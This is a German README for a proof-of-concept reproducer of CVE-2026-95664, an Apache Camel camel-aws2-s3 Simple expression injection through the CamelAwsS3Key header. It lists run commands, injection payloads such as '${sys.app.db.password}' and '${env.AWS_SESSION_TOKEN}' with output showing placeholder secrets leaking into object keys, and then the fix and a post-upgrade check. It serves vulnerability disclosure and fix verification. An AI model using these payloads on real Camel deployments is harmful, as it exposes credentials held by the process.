
Lauffähiger Spring Boot- und Quarkus-Reproducer für CVE-2026-95664, der die Simple-Expression-Injection über den CamelAwsS3Key-Header in camel-aws2-s3 demonstriert und den Fix verifiziert.
Lauffähiger Proof-of-Concept-Reproduzierer für die Apache-Camel-Schwachstelle, bei der der camel-aws2-s3-Producer
den Objektschlüssel aus dem Nachrichten-Header CamelAwsS3Key übernahm und — seit 4.8.0 —
AWS2S3Utils.determineKey() diesen Wert an die Simple-Sprache übergab, sobald er ${ oder
$simple{ enthielt, damit eine Route einen dynamischen Schlüssel verwenden konnte. Die Auswertung erfolgte bei einem aus dem
Header stammenden Wert genauso wie bei der von der Route konfigurierten Option keyName.
| Laufzeitumgebung | Verzeichnis | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-aws2-s3 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
Der Header ist keine Routenkonfiguration. Der aws2-s3-Consumer setzt CamelAwsS3Key bei jedem Exchange, den er
erzeugt, auf den Schlüssel des Objekts, das er gelesen hat — also auf den Namen des Objekts im Bucket. In einer Route,
die nichts weiter tut, als von einem aws2-s3-Endpunkt zu konsumieren und an einen anderen zu produzieren, erreichte der Name jedes
konsumierten Objekts daher den Producer und wurde ausgewertet.
Jeder, der den Namen eines Objekts in einem Bucket wählen konnte, aus dem eine solche Route konsumiert — typischerweise jedes Principal,
das zum Hochladen dorthin berechtigt ist —, konnte Simple-Ausdrücke seiner Wahl innerhalb des Camel-
Prozesses auswerten lassen. Simple kann JVM-Systemeigenschaften, Umgebungsvariablen und Konfigurationseigenschaften lesen, die
häufig Anmeldedaten enthalten, und mit camel-bean im Klassenpfad Methoden auf Registry-Beans aufrufen.
Das Konfigurieren von keyName am Producer war kein Schutz, da der Header Vorrang vor ihr hat.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Auf einem betroffenen Build (identisch auf beiden Runtimes):
Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client®ion=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.
Values the deployment holds but the route never references:
system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
environment AWS_SESSION_TOKEN = ENV-SESSION-TOKEN-s3cr3t-88
1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
key the producer wrote: [invoice-2026.pdf]
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
the JVM system property was resolved into the key: true
3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
the environment variable was resolved into the key: true
4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
key the producer wrote: [route1-D953127238C9F86-0000000000000000]
evaluated rather than used literally: true
5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
key the producer wrote: [archived.txt]
the configured keyName was used instead: true
>>> PROVEN: ...
Probe 5 ist der im Advisory genannte Workaround für Deployments, die noch nicht aktualisiert werden können, hier in funktionierendem Zustand gezeigt.
Kein AWS-Konto und kein Netzwerk. Der Reproducer registriert einen aufzeichnenden Stellvertreter für S3
(amazonS3Client=#s3Client), der den Schlüssel erfasst, den der Producer tatsächlich schreiben sollte — das
eine, was beobachtet werden muss. Der echte AWS2S3Producer und die echte AWS2S3Utils.determineKey() laufen; nur der SDK-
Aufruf ganz am Ende wird erfasst.
Der Treiber setzt CamelAwsS3Key auf den Namen des konsumierten Objekts, was genau dem entspricht, was der aws2-s3-Consumer
tut, sodass die Consumer-Seite keinen eigenen Bucket benötigt.
Der Stellvertreter beantwortet außerdem
headBucket, weilAWS2S3Endpoint.doStart()prüft, ob der Bucket existiert, bevor die Route startet. Diese Prüfung steht in keinem Zusammenhang mit der Schwachstelle.
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-aws2-s3 (AWS2S3Utils.determineKey()) |
| CWE | CWE-917 (Expression Language Injection) |
| Schweregrad | Mittel |
| Angriffsvektor | Der Name eines Objekts in einem Bucket, den eine aws2-s3-Route konsumiert, der ${ oder $simple{ enthält und über CamelAwsS3Key zum Producer gelangt |
| Auswirkung | Auswertung von Simple-Ausdrücken im Camel-Prozess: Lesen von System-Properties, Umgebungsvariablen und Konfigurations-Properties; Aufrufen von Methoden auf Registry-Beans, sofern camel-bean vorhanden ist |
| Betroffene Versionen | Ab 4.8.0 vor 4.18.5, ab 4.19.0 vor 4.22.2 (Versionen vor 4.8.0 verwendeten den Header-Wert unverändert und sind nicht betroffen) |
| Behobene Versionen | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24901 |
| Danksagung | Andrea Cosentino von der Apache Software Foundation |
Advisory: https://camel.apache.org/security/CVE-2026-95664.html
Der Bucket-Name durchlief dieselbe Auswertung, aber der Consumer setzt in einen Bucket-Header stets nur den am eigenen Endpoint konfigurierten Bucket, niemals einen von einem entfernten Objekt abgeleiteten Wert, sodass der Bucket-Name auf diesem Weg nicht erreichbar war.
Nur der von der Route konfigurierte Schlüssel darf ein dynamischer Simple-Ausdruck sein. Ein über den Header übergebener Schlüssel wird nun wörtlich verwendet und niemals ausgewertet:
String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
// only the configured key (supplied by the route) may be a dynamic simple expression;
// a key provided through the header is used literally and never evaluated
key = configuration.getKeyName();
if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}
Behoben auf main in apache/camel#26746 (1fd7a667), mit
Backports auf camel-4.22.x und camel-4.18.x.
Nach dem Upgrade wird ein Schlüssel- oder Bucket-Name, der über einen Message-Header übergeben wird, wörtlich verwendet — eine Route,
die absichtlich einen nicht ausgewerteten Simple-Ausdruck in CamelAwsS3Key oder CamelAwsS3OverrideBucketName
gesetzt hat, muss diesen nun in der Route selbst auswerten (setHeader(..., simple(...))) oder ihn als
keyName / bucketName-Option des Endpunkts konfigurieren.
Setzen Sie camel.version auf 4.22.2 und führen Sie es erneut aus. Verifiziert mit 4.22.1 → 4.22.2:
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [${sys.app.db.password}]
the JVM system property was resolved into the key: false
4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
evaluated rather than used literally: false
>>> NOT reproduced: the header was used literally.